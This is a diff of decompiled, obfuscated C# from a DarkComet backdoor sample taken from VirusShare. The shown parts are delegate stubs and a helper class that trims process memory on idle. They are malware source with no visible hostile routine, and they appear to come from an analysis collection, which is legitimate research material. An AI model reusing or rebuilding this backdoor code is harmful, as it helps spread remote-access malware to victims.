// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using System.Reflection.Emit;
using System.Runtime.InteropServices;
internal delegate void \u0019\u0004([In] object obj0, [In] OpCode obj1);
@@ -0,0 +1,9 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using System.Runtime.InteropServices;
internal delegate void \u001A\u0002([In] object obj0);
@@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using System;
using System.Runtime.InteropServices;
internal delegate void \u001A\u0003([In] object obj0, [In] object obj1, [In] EventArgs obj2);
@@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using System.Reflection.Emit;
using System.Runtime.InteropServices;
internal delegate void \u001A\u0004([In] object obj0, [In] OpCode obj1, [In] int obj2);
@@ -0,0 +1,137 @@
// Decompiled with JetBrains decompiler
// Type: .
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using \u001A\u0006;
using \u007F\u0004;
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using System.Xml.Serialization;
namespace \u001A\u0006
{
internal class \u0019\u0006
{
private static \u0019\u0006 \u0001;
private long \u0002;
[DllImport("kernel32", EntryPoint = "SetProcessWorkingSetSize")]
private static extern int \u0006\u0002(
[XmlElement(DataType = "base64Binary")] IntPtr process,
int minimumWorkingSetSize,
int maximumWorkingSetSize);
private void \u0006\u0002()
{
Process currentProcess;
try
{
try
{
currentProcess = Process.GetCurrentProcess();
try
{
\u0019\u0006.\u0006\u0002(currentProcess.Handle, -1, -1);
}
finally
{
currentProcess?.Dispose();
}
}
catch
{
}
}
catch (Exception ex)
{
Process process = currentProcess;
\u0089\u0004.\u0019\u0005(ex, (object) process, (object) this);
throw;
}
}
private void \u0006\u0002(object sender, EventArgs e)
{
DateTime dateTime;
long ticks;
try
{
try
{
DateTime now = DateTime.Now;
if (true)
goto label_4;
label_1:
ticks = dateTime.Ticks;
if (ticks - this.\u0002 <= 10000000L)
return;
this.\u0002 = ticks;
this.\u0006\u0002();
return;
label_4:
dateTime = now;
goto label_1;
}
catch
{
}
}
catch (Exception ex)
{
// ISSUE: variable of a boxed type
__Boxed<long> local1 = (ValueType) ticks;
// ISSUE: variable of a boxed type
__Boxed<DateTime> local2 = (ValueType) dateTime;
object obj = sender;
EventArgs eventArgs = e;
\u0089\u0004.\u001C\u0005(ex, (object) local1, (object) local2, (object) this, obj, (object) eventArgs);
throw;
}
}
private \u0019\u0006()
{
DateTime now = DateTime.Now;
this.\u0002 = now.Ticks;
// ISSUE: explicit constructor call
base.\u002Ector();
try
{
Application.Idle += new EventHandler(this.\u0006\u0002);
this.\u0006\u0002();
}
catch (Exception ex)
{
// ISSUE: variable of a boxed type
__Boxed<DateTime> local = (ValueType) now;
\u0089\u0004.\u0019\u0005(ex, (object) local, (object) this);
throw;
}
}
public static void \u0005\u0002()
{
try
{
try
{
if (Environment.OSVersion.Platform != PlatformID.Win32NT)
return;
\u0019\u0006.\u0001 = new \u0019\u0006();
}
catch
{
}
}
catch (Exception ex)
{
\u0089\u0004.\u0017\u0005(ex);
throw;
}
}
}
}
@@ -0,0 +1,9 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using System.Runtime.InteropServices;
internal delegate void \u001B\u0002([In] object obj0, [In] string obj1);
@@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using System;
using System.Runtime.InteropServices;
internal delegate bool \u001B\u0003([In] Guid obj0, [In] Guid obj1);
@@ -0,0 +1,11 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe
using System.Reflection;
using System.Reflection.Emit;
using System.Runtime.InteropServices;
internal delegate void \u001B\u0004([In] object obj0, [In] OpCode obj1, [In] MethodInfo obj2);

Some files were not shown because too many files have changed in this diff Show More